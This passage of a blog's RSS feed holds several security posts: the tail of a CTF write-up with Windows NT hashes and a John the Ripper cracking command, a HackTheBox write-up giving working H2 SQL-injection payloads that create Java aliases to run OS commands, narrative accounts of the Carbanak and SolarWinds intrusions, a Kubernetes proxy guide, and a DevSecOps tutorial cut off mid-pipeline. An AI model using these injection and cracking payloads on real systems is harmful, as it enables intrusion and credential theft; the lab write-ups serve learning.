Jon:1000:aad3b435b514xxxxxxxxx5b51404ee:ffb43f0de35be4d9917ac0d57f8d:::</p><p>Now we copy-paste these hashes into our attacker-machine and use JohnTheRipper tool, to crack them.</p><pre>john --format=NT --wordlist=/path/2/rockyou.txt windows_hashes.txt # paste the hashes into a file, and use that file name</pre><p>With this we’d have successfully cracked the password of Jon user, ie., axxxxx2</p><p>flag locations:</p><p>C:/</p><p>C:/windows/system32/config</p><p>C:/Users/Jon/Documents</p><p>Thanks for reading! this is an easy room — so you’d be able to do it yourself :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=657a2a20424c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox Write-up: Pentest Notes]]></title>
            <link>https://medium.com/@er.mdyousufhussain/hackthebox-write-up-pentest-notes-df4161a30e4d?source=rss-3984535c1ecd------2</link>
            <guid isPermaLink="false">https://medium.com/p/df4161a30e4d</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <dc:creator><![CDATA[M Yousuf Hussain]]></dc:creator>
            <pubDate>Thu, 28 Aug 2025 14:36:06 GMT</pubDate>
            <atom:updated>2025-08-28T19:12:14.003Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-neqdK416FKwLtfC" /></figure><blockquote>Intro: So, this is my first ever HTB challenge write-up — I am planning to post atleast 2 or 3 write-ups every week. Apologies in advance for poor english or bad explanations. I will try my best although :)</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*zBBM6vmr5908WULSnq2MuQ.png" /></figure><p>First, register your account and go to the ‘/’ page. There you will find some teasers — which makes you consider that “maybe this is vulnerable to sqli and XSS”. With that thought in mind let’s try to poke around and see if our hacker instinct tickles.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*RWqBLtKcKisKzVyC-GtLkA.png" /></figure><p>Something noticeably fishy in our URL here;</p><pre>http://&lt;machine-IP&gt;:&lt;PORT&gt;/note?name=SQL%20Injection</pre><p>Following the hint and sending the OG ‘ (apostrophe) payload — we get a strong indication that this machine has an SQLi vulnerability.</p><p>Using BurpSuite, we can see an ‘/api/post’ request in proxy tab under HTTP history — sending that to Burp repeater tab, let’s start messing around with the exposed query parameter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*fgTkX13QALkgQw76q9G63Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/1*P-PsuIIttbeILHLOtr-raw.png" /></figure><p>That “Internal Server error” is a solid indication that our payload has effectively messed up the the backend query. So now, let’s take a look at the machine files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*mP16JPcuepLYqWty-OYq9g.png" /></figure><p>Following the source code, here are few things we can deduce;</p><ol><li>Uses Java and H2 DataBase for backend</li><li>‘$’ is sanitized</li><li>The SQL query takes in 3 parameters (ID, Name, Note)</li></ol><p>So I started researching on the internet until I found the following payload which would get us an RCE on the server.</p><pre>something&#39; OR 1=1; DROP ALIAS IF EXISTS exec_cmd; CREATE ALIAS exec_cmd AS &#39;String rce() throws java.io.IOException {<br>    java.util.Scanner cmd_output = new java.util.Scanner(Runtime.getRuntime().exec(&quot;whoami&quot;).getInputStream()).useDelimiter(&quot;\\\\A&quot;);<br>    return cmd_output.hasNext() ? cmd_output.next() : &quot;&quot;;<br>}&#39;; UPDATE notes SET note = exec_cmd() WHERE id = 1; --</pre><p>after sending this payload to the machine, go to the web page and reload it — there you will see your unix command’s responses. Doing so back and forth you must be able to retrieve the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/1*asdaIRKFY4Ic9Kw7bjFSdA.png" /></figure><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>Also, I have found an alternate payload — which can be way simpler if the original doesn’t work.</p><pre>--this code for creating an alias and use it to execute os command<br>CREATE ALIAS EXEC_OS_COMMAND AS &#39;<br>String exec(String cmd) throws Exception {<br>    Process process = Runtime.getRuntime().exec(&#39;whoami&#39;);<br>    Scanner scanner = new Scanner(process.getInputStream()).useDelimiter(&quot;\\A&quot;);<br>    return scanner.hasNext() ? scanner.next() : &quot;&quot;;<br>}&#39;;</pre><pre>--This code for calling to the previous alias<br>SELECT EXEC_OS_COMMAND(&#39;whoami&#39;);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*RNw2zo6jJECqCphN.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*IACk6d9ULdAU2udH.png" /></figure><p>All the best, happy hacking. :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=df4161a30e4d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Carbanak Hackers’ $1 Billion Heist]]></title>
            <link>https://medium.com/@er.mdyousufhussain/carbanak-hackers-1-billion-heisthow-a-shadow-syndicate-stole-a-billion-dollars-the-untold-story-bd0e3271ddf5?source=rss-3984535c1ecd------2</link>
            <guid isPermaLink="false">https://medium.com/p/bd0e3271ddf5</guid>
            <category><![CDATA[it]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cybercrime]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[M Yousuf Hussain]]></dc:creator>
            <pubDate>Tue, 06 May 2025 11:57:30 GMT</pubDate>
            <atom:updated>2025-05-06T12:09:01.057Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*_LldY-dZ-11gxYOST1Tu9g.jpeg" /></figure><p>Between 2013 and 2018, a sophisticated cybercriminal syndicate known as Carbanak (also linked to FIN7 and Anunak) carried out one of the largest and most audacious financial heists in history. Over that span, the group infiltrated more than 100 banks and financial institutions across at least 40 countries, ultimately siphoning nearly one billion US dollars through a combination of illicit wire transfers and remote-controlled ATM cashouts.</p><h3>Origins and Early Discovery</h3><p>Banks and payment processors in Eastern Europe first noticed unexplained fund transfers and unexplained ATM dispenses in late 2013. Initial investigations revealed no system flaws or operator errors, prompting deeper forensic analysis. By early 2015, cybersecurity researchers had identified a new Advanced Persistent Threat (APT) campaign — later dubbed “Carbanak” — characterized by highly targeted spear-phishing emails and a powerful, custom backdoor implanted on compromised machines.</p><h3>The Intrusion Lifecycle</h3><h4>Spear-Phishing and Initial Compromise</h4><p>Carbanak operators began with meticulous reconnaissance, profiling employees at targeted banks. They then crafted spear-phishing emails masquerading as internal communications or vendor notifications. When recipients clicked on embedded attachments or links, a dropper component was delivered — often wrapped in benign-looking documents — that quietly installed the Carbanak backdoor on the victim’s workstation.</p><h4><strong>Backdoor Deployment and Modular Extensions</strong></h4><p>Once deployed, the Carbanak malware established persistence by injecting itself into legitimate Windows processes and employing rootkit techniques to evade antivirus detection. Its modular, plugin-based architecture allowed operators to dynamically load capabilities such as:</p><ul><li>Keylogging and credential harvesting</li><li>Full desktop video capture</li><li>Remote VNC-style sessions</li><li>HTTP form-grabbers</li><li>Encrypted file transfers</li><li>POS-system data theft modules</li></ul><p>This flexibility let the attackers adapt to each environment, extending their reach into banking applications, payment systems, and ATM management consoles.</p><h4>Lateral Movement and Network Mapping</h4><p>With initial access secured, the group escalated privileges — often achieving domain-admin status — by harvesting credentials and exploiting weak or outdated network configurations. They then mapped internal networks to locate critical systems, including core banking servers and ATM controller machines. Throughout this phase, they exfiltrated detailed snapshots of transaction workflows, database schemas, and operational procedures.</p><h3>Exfiltration and Cash-Out Techniques</h3><h4>Automated Bank Transfers</h4><p>Armed with intimate knowledge of banking processes, Carbanak scripted unauthorized transfers from victim accounts into a web of mule-controlled accounts. These mule accounts were carefully chosen in multiple jurisdictions, and funds were rapidly layered through a series of transfers to obscure the money trail.</p><h4>Remote ATM Cash-Outs</h4><p>Simultaneously, the attackers remotely instructed ATMs to dispense predetermined cash sums at specific times and locations. Small teams of money mules, wearing inconspicuous attire, would converge on targeted ATMs in the dead of night to collect the cash. In some single operations, the syndicate managed to withdraw up to ten million dollars in physical currency.</p><h4>Global Footprint and Impact</h4><p>Victims ranged from large multinational banks in Ukraine, Russia, Spain, the United Kingdom, and the United States, to regional credit unions and payment processors throughout Asia, Europe, and North America. Total direct losses on record approached one billion dollars. Beyond the stolen funds, affected institutions faced extensive recovery costs, regulatory fines, and long-lasting reputational damage.</p><h4>Law Enforcement Response and Takedown</h4><p>Beginning in 2016, a multinational task force — comprising Europol, INTERPOL, the U.S. Department of Justice, the Spanish National Police, and leading private cybersecurity firms — coordinated to dismantle the Carbanak infrastructure. Dubbed “Operation Anunak,” investigators tracked money-mule networks, analyzed malware telemetry, and traced command-and-control servers to various hosting providers.</p><h4>Mastermind Arrest and Prosecutions</h4><p>On March 26, 2018, Spanish authorities in Alicante arrested “Denis K.,” alleged to be the mastermind and technical architect behind the Carbanak and Cobalt campaigns. Concurrently, affiliates in Kazakhstan received multi-year prison sentences, and U.S. indictments named several key operatives responsible for developing and deploying the malware.</p><h3>Epilogue: How They Were Caught</h3><p>Despite years of stealth, Carbanak’s downfall was ultimately due to financial intelligence rather than purely technical antivirus measures. Anti-money-laundering systems in victim banks flagged unusual cash withdrawals and patterns of ATM dispenses. By correlating these alerts with malware logs and network forensic data, investigators could narrow down suspect ATM locations and mule identities. This financial trail, combined with malware signature analysis and server infrastructure mapping, led directly to the identification and arrest of the core group members in early 2018.</p><p>Though this iteration of Carbanak was dismantled, its successors under the FIN7 banner continue to refine their social engineering tactics and malware toolkits, serving as a reminder that the arms race between cyber-defenders and financially motivated threat actors remains as intense as ever.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bd0e3271ddf5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[18,000 Networks Hacked: How SolarWinds Compromised Global Security]]></title>
            <link>https://medium.com/@er.mdyousufhussain/18-000-networks-hacked-how-solarwinds-compromised-global-security-a00fdee57d6d?source=rss-3984535c1ecd------2</link>
            <guid isPermaLink="false">https://medium.com/p/a00fdee57d6d</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[M Yousuf Hussain]]></dc:creator>
            <pubDate>Mon, 05 May 2025 15:15:26 GMT</pubDate>
            <atom:updated>2025-05-05T15:15:26.801Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*3qEcNU6XgdwI8eEB89OOQg.jpeg" /></figure><h3>Introduction</h3><p>Supply-chain attacks exploit trusted software or hardware delivery mechanisms to infiltrate organizations at scale. In the SolarWinds case, attackers compromised the software build environment of SolarWinds, a major IT management vendor, to distribute malicious code via legitimate updates <a href="https://www.fortinet.com/resources/cyberglossary/solarwinds-cyber-attack?utm_source=chatgpt.com">Fortinet</a>. Such attacks bypass traditional perimeter defenses by leveraging the inherent trust organizations place in their suppliers, making detection especially challenging.</p><h3>Timeline of the Attack</h3><h3>Early Compromise and Trojanization</h3><ul><li><strong>March–June 2020</strong>: Versions 2019.4 through 2020.2.1 HF1 of SolarWinds Orion were backdoored with the SUNBURST malware during normal update builds.</li><li><strong>June–December 2020</strong>: Download and installation of trojanized Orion updates went largely undetected, allowing threat actors to establish covert command-and-control (C2) channels inside targeted networks.</li></ul><h3>Discovery and Public Disclosure</h3><ul><li><strong>December 8, 2020</strong>: FireEye uncovered that its own Red Team tools had been stolen, triggering an investigation that led to the detection of SUNBURST in SolarWinds software.</li><li><strong>December 13–15, 2020</strong>: FireEye publicly confirmed the supply-chain compromise, and the U.S. government classified the incident as a “massive intrusion,” later attributing it to a likely Russian state-sponsored group.</li></ul><h3><strong>Technical Methodology</strong></h3><h3>Injection of the SUNBURST Backdoor</h3><p>Attackers gained unauthorized access to SolarWinds’ build servers, using forged code-signing certificates to insert SUNBURST into Orion update packages without tripping integrity checks. The backdoor employed a time-delayed activation to evade detection by static analysis tools and security monitoring, blending malicious communications with legitimate Orion telemetry.</p><h3>Command-and-Control and Lateral Movement</h3><p>Once active, SUNBURST beaconed to attacker-controlled domains using DNS tunneling to retrieve additional payloads, minimizing anomalous network traffic <a href="https://unit42.paloaltonetworks.com/solarstorm-supply-chain-attack-timeline/?utm_source=chatgpt.com">Unit 42</a>. Subsequent payloads enabled credential harvesting, lateral movement, and data exfiltration through standard protocols (e.g., HTTPS) to blend with normal operations.</p><h3>Additional Malware Strains</h3><p>Post-compromise, analysts discovered related toolsets, including SUNSPOT (the build-server dropper) and TEARDROP, which facilitated deeper network penetration and persistence in high-value targets.</p><h3>Impact Analysis</h3><h3>Affected Organizations</h3><p>The compromise impacted an estimated <strong>18,000</strong> SolarWinds customers, spanning U.S. federal agencies (e.g., Department of Treasury, Commerce, Homeland Security), critical infrastructure entities, and leading technology firms <a href="https://www.wired.com/story/worst-hacks-2020-surreal-pandemic-year?utm_source=chatgpt.com">WIRED</a>. The breach also extended internationally, affecting organizations in Europe and Asia, underscoring the global reach of supply-chain threats.</p><h3>Data Exposure and Espionage</h3><p>While definitive lists of all exfiltrated data remain classified, evidence indicates attackers may have accessed sensitive emails, configuration files, and credentials belonging to top-tier government and corporate users, enabling potential long-term espionage campaigns.</p><h3>Financial and Reputational Damage</h3><p>In the wake of the hack, SolarWinds’ stock price plunged by over 25%, prompting an SEC lawsuit alleging fraud and failure to disclose known vulnerabilities prior to the breach <a href="https://apnews.com/article/90ecb2bee1bf2d681bb4b11c78fab032?utm_source=chatgpt.com">AP News</a>. The incident spurred a surge in cybersecurity spending and insurance premiums across affected sectors.</p><h3>Detection and Response</h3><h3>FireEye and Industry Collaboration</h3><p>FireEye’s internal detection of anomalous Red Team tool behavior led to a crucial intelligence‐sharing effort with the U.S. National Security Agency (NSA) and Cybersecurity and Infrastructure Security Agency (CISA). Within days, CISA issued an Emergency Directive ordering federal civilian agencies to disconnect affected Orion instances and apply mitigations.</p><h3>Patching and Mitigation</h3><p>SolarWinds released a sanitized Orion build (2020.2.1 HF2) in January 2021 and provided detailed remediation steps, including network segmentation, credential rotation, and enhanced logging. Major cybersecurity vendors updated detection signatures, and organizations implemented DNS logging and behavioral analytics to detect residual malicious traffic.</p><h3>Lessons Learned</h3><h3>Strengthening Supply-Chain Security</h3><ul><li><strong>Rigorous Build Integrity</strong>: Enforce strict separation of build and deploy environments, employ reproducible builds, and mandate multi-party code-signing reviews to prevent unauthorized code insertion.</li><li><strong>Zero-Trust Architecture</strong>: Adopt the principle of “never trust, always verify” by monitoring east-west traffic, enforcing least privilege access, and using robust identity management.</li></ul><h3>Enhancing Detection Capabilities</h3><ul><li><strong>Behavioral Analytics</strong>: Deploy analytics capable of detecting anomalous DNS queries, unusual process delays, and rare protocol uses, as static signature-based tools may miss novel backdoors.</li><li><strong>Threat Intelligence Sharing</strong>: Foster public-private partnerships for rapid threat information exchange, as exemplified by FireEye, NSA, and CISA collaboration.</li></ul><h3>Corporate Accountability and Transparency</h3><p>Organizations must promptly disclose material cybersecurity incidents to stakeholders and regulators to facilitate coordinated responses and maintain trust, as emphasized by the subsequent SEC action against SolarWinds.</p><h3>Conclusion</h3><p>The SolarWinds supply-chain compromise represents a watershed moment in cybersecurity, illustrating how state-level adversaries can exploit trusted software updates to penetrate well-defended networks at scale. By dissecting the attack’s timeline, methodology, and impact — and by internalizing the lessons learned — security professionals can better fortify their organizations against future supply-chain threats. Ongoing vigilance, robust build processes, and enhanced collaboration remain critical to thwarting similarly sophisticated adversaries.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a00fdee57d6d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Setting up proxy servers in Kubernetes]]></title>
            <link>https://medium.com/@er.mdyousufhussain/setting-up-proxy-servers-in-kubernetes-f657c4077150?source=rss-3984535c1ecd------2</link>
            <guid isPermaLink="false">https://medium.com/p/f657c4077150</guid>
            <category><![CDATA[kubernetes]]></category>
            <dc:creator><![CDATA[M Yousuf Hussain]]></dc:creator>
            <pubDate>Sun, 04 May 2025 12:50:17 GMT</pubDate>
            <atom:updated>2025-05-05T15:21:27.894Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*weCLn6ivVNMZCCCyIpgSjQ.png" /></figure><h3>Overview</h3><p>In enterprise and highly regulated industries such as finance, healthcare, insurance, federal, and government sectors, all outbound (egress) traffic typically needs to go through a proxy server. This requirement exists for various reasons including compliance, governance, security, and caching. Organizations implement different proxy setups depending on their specific needs and security requirements. The three main proxy configurations commonly used are:</p><ol><li><strong>HTTP CONNECT forward proxy</strong>: A simple proxy that forwards HTTP(S) traffic without intercepting it, creating a tunnel between the client and the target.</li><li><strong>HTTP proxy with man-in-the-middle (MITM)</strong>: Also known as TLS inspection, SSL bumping, or Deep Packet Inspection, this setup intercepts encrypted traffic to inspect its contents before forwarding it to the destination.</li><li><strong>Zero-trust networking with mTLS Proxy</strong>: Uses mutual TLS (mTLS) authentication where both the client and server authenticate each other using certificates, providing an additional layer of security in zero-trust environments.</li></ol><h3>Challenges</h3><p>Setting up proxy servers in Kubernetes environments presents several challenges:</p><h3>Proxy Fragmentation</h3><p>The proxy server landscape is fragmented with various solutions like Zscaler, Squid, Fortinet, and others. Each has its own configuration requirements, authentication methods, and capabilities. This fragmentation makes it difficult to create a standardized approach for applications running in Kubernetes.</p><h3>Containerization Complexity</h3><p>Containerizing proxy servers for development and debugging purposes can be challenging due to:</p><ol><li><strong>Certificate Management</strong>: Especially for HTTPS interception or mTLS, managing certificates within containers requires careful consideration.</li><li><strong>Network Configuration</strong>: Ensuring proper network routing and DNS resolution within the Kubernetes cluster.</li><li><strong>Authentication</strong>: Implementing proper authentication mechanisms, particularly for enterprise proxies.</li><li><strong>Debugging</strong>: When things go wrong, identifying whether the issue is in the proxy configuration, the client application, or the network can be difficult.</li></ol><h3>Development Challenges</h3><p>Developers often face challenges when working with proxies in Kubernetes:</p><ol><li><strong>Local Development</strong>: Replicating production proxy setups in local development environments.</li><li><strong>Testing</strong>: Ensuring applications correctly handle proxy configurations and authentication.</li><li><strong>Troubleshooting</strong>: Diagnosing connectivity issues when traffic must flow through proxies.</li></ol><h3>Implementation</h3><p>Let’s explore three different implementations for proxy servers in Kubernetes, each serving different use cases:</p><h3>1. HTTP CONNECT Forward Proxy</h3><p><a href="https://github.com/ofirc/k8s-http-proxy/">k8s-http-proxy</a> provides a simple tinyproxy blueprint for forwarding HTTP(S) traffic from applications running in Kubernetes. This type of proxy doesn’t intercept the traffic but instead sets up a tunnel between the client and the target.</p><p><strong>When to use it:</strong></p><ul><li>When you need simple HTTP(S) forwarding without traffic inspection</li><li>For basic compliance requirements where traffic logging is sufficient</li><li>When performance is a priority, as it adds minimal overhead</li></ul><p><strong>Implementation steps:</strong></p><pre>Copy# Create a local cluster (optional)<br>kind create cluster --name test-proxy</pre><pre># Deploy the proxy<br>git clone <a href="https://github.com/ofirc/k8s-http-proxy/">https://github.com/ofirc/k8s-http-proxy/</a><br>cd k8s-http-proxy<br>kubectl apply -f deploy/<br>kubectl wait --for=condition=Available deployment/proxy-server</pre><pre># Test the proxy<br>kubectl run curl --image=curlimages/curl -- sleep infinity<br>kubectl wait --for=condition=Ready pod/curl --timeout=150s<br>kubectl exec -it curl -- sh<br>export https_proxy=http://proxy-server.default.svc:8888<br>curl <a href="https://example.com/">https://example.com</a></pre><h3>2. HTTP Proxy with Man-in-the-Middle (MITM)</h3><p><a href="https://github.com/ofirc/k8s-sniff-https/">k8s-sniff-https</a> provides a mitmproxy blueprint to intercept HTTPS traffic from applications running in Kubernetes. This setup allows for deep packet inspection and is useful for debugging or security monitoring.</p><p><strong>When to use it:</strong></p><ul><li>When you need to inspect encrypted traffic</li><li>For debugging API calls or troubleshooting HTTPS issues</li><li>For security monitoring and threat detection</li></ul><p><strong>Implementation steps:</strong></p><pre>Copy# Clone the repository<br>git clone https://github.com/ofirc/k8s-sniff-https/<br>cd k8s-sniff-https</pre><pre># Deploy mitmweb<br>kubectl apply -f deploy/mitmweb-deploy.yaml<br>kubectl apply -f deploy/mitmweb-service.yaml</pre><pre># Pull the CA bundle from the mitmweb Pod<br>POD_NAME=$(kubectl get pod -l app=mitmweb -o=name | cut -d/ -f2)<br>CA_BUNDLE=/root/.mitmproxy/mitmproxy-ca-cert.pem</pre><pre># Distribute the CA bundle to your workload Pod<br>kubectl cp $POD_NAME:$CA_BUNDLE ./mitmproxy-ca-cert.pem</pre><pre># Access the mitmweb UI console<br>kubectl port-forward svc/mitmweb 8081:8081</pre><pre># Test with an ephemeral Pod<br>kubectl run curl --image=curlimages/curl -- sleep infinity<br>kubectl cp ./mitmproxy-ca-cert.pem curl:/home/curl_user/mitmproxy-ca-cert.pem<br>kubectl exec -it curl -- sh<br>curl --cacert mitmproxy-ca-cert.pem -x <a href="http://mitmweb:8080/">http://mitmweb:8080</a> <a href="https://example.com/">https://example.com</a></pre><h3>3. Zero-Trust Networking with mTLS Proxy</h3><p><a href="https://github.com/ofirc/go-mtls-proxy/">go-mtls-proxy</a> provides a simple mTLS proxy using tinyproxy and stunnel (without TLS inspection) along with a Go client program that uses the proxy. This setup demonstrates how to use client certificates for authentication to a proxy server.</p><p><strong>When to use it:</strong></p><ul><li>In zero-trust environments where mutual authentication is required</li><li>When you need to ensure that only authorized clients can use the proxy</li><li>For highly secure environments with strict access controls</li></ul><p><strong>Implementation steps:</strong></p><pre>Copy# Clone the repository<br>git clone https://github.com/ofirc/go-mtls-proxy/<br>cd go-mtls-proxy</pre><pre># Generate certificates and build container images<br>./scripts/generate-certs.sh<br>docker compose build</pre><pre># Deploy to Kubernetes<br>kubectl apply -f deploy</pre><pre># Copy certificates from the Pod<br>POD_NAME=$(kubectl get pod -o=name -lapp=stunnel | cut -d/ -f2)<br>kubectl cp $POD_NAME:/client-certs/ca.crt ca.crt<br>kubectl cp $POD_NAME:/client-certs/client.crt client.crt<br>kubectl cp $POD_NAME:/client-certs/client.key client.key</pre><pre># Port forward the stunnel<br>kubectl port-forward svc/stunnel 8080</pre><pre># Use the Go client or curl with the certificates<br>go run main.go<br># or<br>curl \<br>  --proxy <a href="https://localhost:8080/">https://localhost:8080</a> \<br>  --proxy-cacert ca.crt \<br>  --proxy-cert client.crt \<br>  --proxy-key client.key \<br>  <a href="https://ipv4.icanhazip.com/">https://ipv4.icanhazip.com</a></pre><h3>Conclusion</h3><p>Setting up proxy servers in Kubernetes environments is essential for organizations with strict security and compliance requirements. The three implementations discussed in this post offer different approaches based on specific needs:</p><ol><li><strong>HTTP CONNECT forward proxy</strong> provides a simple, performant solution for basic proxy requirements without traffic inspection.</li><li><strong>HTTP proxy with MITM</strong> enables deep packet inspection for debugging, security monitoring, and compliance purposes.</li><li><strong>Zero-trust networking with mTLS Proxy</strong> offers enhanced security through mutual authentication, ideal for highly regulated environments.</li></ol><p>By understanding these different proxy setups and their implementations, developers and operations teams can better navigate the challenges of managing outbound traffic in Kubernetes environments. The provided example repositories serve as valuable starting points for implementing these solutions in your own infrastructure.</p><p>Whether you’re dealing with compliance requirements, debugging encrypted traffic, or implementing zero-trust security, having a solid understanding of proxy server options in Kubernetes will help you build more secure and compliant applications.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f657c4077150" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DevSecOps: Securing a Vulnerable Bank Application]]></title>
            <link>https://medium.com/@er.mdyousufhussain/devsecops-securing-a-vulnerable-bank-application-d3572983a1a2?source=rss-3984535c1ecd------2</link>
            <guid isPermaLink="false">https://medium.com/p/d3572983a1a2</guid>
            <category><![CDATA[devsecops]]></category>
            <category><![CDATA[devops]]></category>
            <dc:creator><![CDATA[M Yousuf Hussain]]></dc:creator>
            <pubDate>Sun, 04 May 2025 00:40:21 GMT</pubDate>
            <atom:updated>2025-05-05T15:22:28.413Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*7gpJIkwoVzGPSwMQUjT_dw.png" /></figure><p>Here’s what we’re going to build:</p><ul><li>A CI/CD pipeline with security superpowers</li><li>Static Application Security Testing (SAST) with SonarQube</li><li>Software Composition Analysis (SCA) with Snyk</li><li>Container scanning with Trivy</li><li>Infrastructure as Code scanning with Checkov</li><li>Dynamic Application Security Testing (DAST) with OWASP ZAP</li><li>Automatic deployment to AWS EC2</li><li>An HTML report showing all our security findings</li><li>Running the deployed application in from the EC2 terminal</li></ul><h3>Prerequisites</h3><p>Before we jump in, make sure you have:</p><ol><li><a href="https://medium.com/@paghadalsneh/how-to-set-up-github-a-step-by-step-guide-45cccd638aef">A GitHub account (free)</a></li><li><a href="https://www.geeksforgeeks.org/amazon-web-services-aws-free-tier-account-set-up/">AWS account (free tier)</a></li><li>Basic understanding of Git commands</li><li>A cup of coffee ☕ (very important!)</li></ol><h3>Setting Up Our Environment :</h3><h3>Step 1: The Repository Setup</h3><p>First things first — let’s get our project on GitHub:</p><ol><li>Fork or clone the vulnerable bank project:</li></ol><pre>git clone https://github.com/Commando-X/vuln-bank.git <br>cd vuln-bank</pre><p>2. Create a new repository on GitHub (I named mine “vuln-bank-devsecops”)</p><p>3. Push your code to the new repo:</p><pre>git remote set-url origin https://github.com/your-username/vuln-bank-devsecops.git<br>git push -u origin main</pre><h3>Step 2: AWS Configuration 🚀</h3><p>Now comes the fun part — setting up our cloud environment!</p><h3>Creating an IAM User</h3><ol><li>Log into AWS Console</li><li>Navigate to IAM</li><li>Create a new user:</li></ol><ul><li>Name: devsecops-user</li><li>Access type: Programmatic access</li><li>Permissions: AmazonEC2FullAccess</li></ul><p>Pro Tip 💡: Save those access keys somewhere safe — we’ll need them in a minute!</p><h3>Launching Our EC2 Instance</h3><ol><li>Go to EC2 Dashboard</li></ol><p>2. Click “Launch Instance”</p><p>3. Choose:</p><ul><li>Amazon Linux 2 AMI (free tier)</li><li>t3.micro instance (also free tier!)</li><li>Configure security group:</li></ul><pre>SSH (22): Your IP<br>HTTP (80): Anywhere<br>Custom TCP (5000): Anywhere</pre><p>4. Create and download your key pair</p><p>Pro Tip 💡: Name your key pair something memorable — you don’t want to mix it up with other projects!</p><p>If you find the AWS Configuration difficult, you can watch tutorial videos here:<br><a href="https://youtu.be/86Tuwtn3zp0?si=STRwexqPw0y2GRYh">https://youtu.be/86Tuwtn3zp0?si=STRwexqPw0y2GRY</a>h</p><h3>Step 3: GitHub Repository Secrets 🔐</h3><p>Time to add our secrets! Go to:</p><ul><li>Your repository</li><li>Settings</li><li>Secrets and variables</li><li>Actions</li></ul><p>Add these secrets:</p><pre>AWS_ACCESS_KEY_ID         [Your IAM user access key]<br>AWS_SECRET_ACCESS_KEY     [Your IAM user secret key]<br>AWS_REGION               [Your chosen region, e.g., us-east-1]<br>EC2_HOST                 [Your EC2 public IP]<br>SSH_PRIVATE_KEY          [Content of your EC2 key pair file]</pre><p>We’ll add more secrets as we set up our security tools!</p><h3>Step 4: Setting Up Security Tools 🛡️</h3><h3>SonarCloud Setup</h3><ol><li>Visit sonarcloud.io</li><li>Sign in with GitHub</li><li>Create new project</li><li>Choose GitHub Actions setup</li><li>Add these secrets to GitHub:</li></ol><pre>SONAR_TOKEN       [Your SonarCloud token]<br>SONAR_HOST_URL    [Your SonarCloud URL]</pre><h3>Snyk Configuration</h3><ol><li>Go to snyk.io</li><li>Sign up with GitHub</li><li><a href="https://docs.snyk.io/snyk-api/rest-api/authentication-for-api">Get your API token</a></li><li>Add to GitHub secrets:</li></ol><pre>SNYK_TOKEN        [Your Snyk API token]</pre><p>Pro Tip 💡: Always test your tokens immediately after setting them up!</p><h3>Step 4.5: Setting Up SSH Key for EC2 Deployment 🔑</h3><p>There are two ways to add your EC2 SSH key to GitHub Secrets. Let’s look at both:</p><h3>Method 1: Direct Copy (Simple Method)</h3><ol><li>Locate your EC2 key pair file (.pem file you downloaded)</li><li>Open it in a text editor</li><li>Copy the entire contents, including:</li></ol><pre>-----BEGIN RSA PRIVATE KEY-----<br>[your key content]<br>-----END RSA PRIVATE KEY-----</pre><p>4. Add to GitHub Secrets:</p><ul><li>Go to your repository → Settings → Secrets and variables → Actions</li><li>Click “New repository secret”</li><li>Name: SSH_PRIVATE_KEY</li><li>Value: Paste the entire key content</li></ul><h3>Method 2: Base64 Encoding (Alternative Method)</h3><p>Some people prefer this method as it ensures no formatting issues:</p><pre># On Linux/Mac:<br>cat your-key.pem | base64 -w 0</pre><pre># On Windows (PowerShell):<br>[Convert]::ToBase64String([System.IO.File]::ReadAllBytes(&quot;your-key.pem&quot;))</pre><p>Pro Tip 💡: Both methods work fine! Just make sure you copy the entire key content without any missing lines or extra spaces.</p><h3>Step 5: Creating Our DevSecOps Pipeline 🔄</h3><p>Now comes the exciting part — setting up our security-enhanced CI/CD pipeline! Create a new file at <a href="https://github.com/Commando-X/vuln-bank-devsecops/blob/main/.github/workflows/devsecops.yml">.github/workflows/devsecops.yml</a>:</p><pre>name: DevSecOps Pipeline</pre><pre>on:<br>  push:<br>    branches: [ main ]<br>  pull_request:<br>    branches: [ main ]</pre><p>Let’s break down each part of our pipeline:</p><h3>SAST with SonarQube 🔍</h3><pre>jobs:<br>  # SAST – SonarQube Scan<br>  sast:<br>    name: SAST (SonarQube)<br>    runs-on: ubuntu-latest<br>    steps:<br>      - uses: actions/checkout@v4<br>      <br>      - name: SonarQube Scan<br>        uses: sonarsource/sonarqube-scan-action@master<br>        continue-on-error: 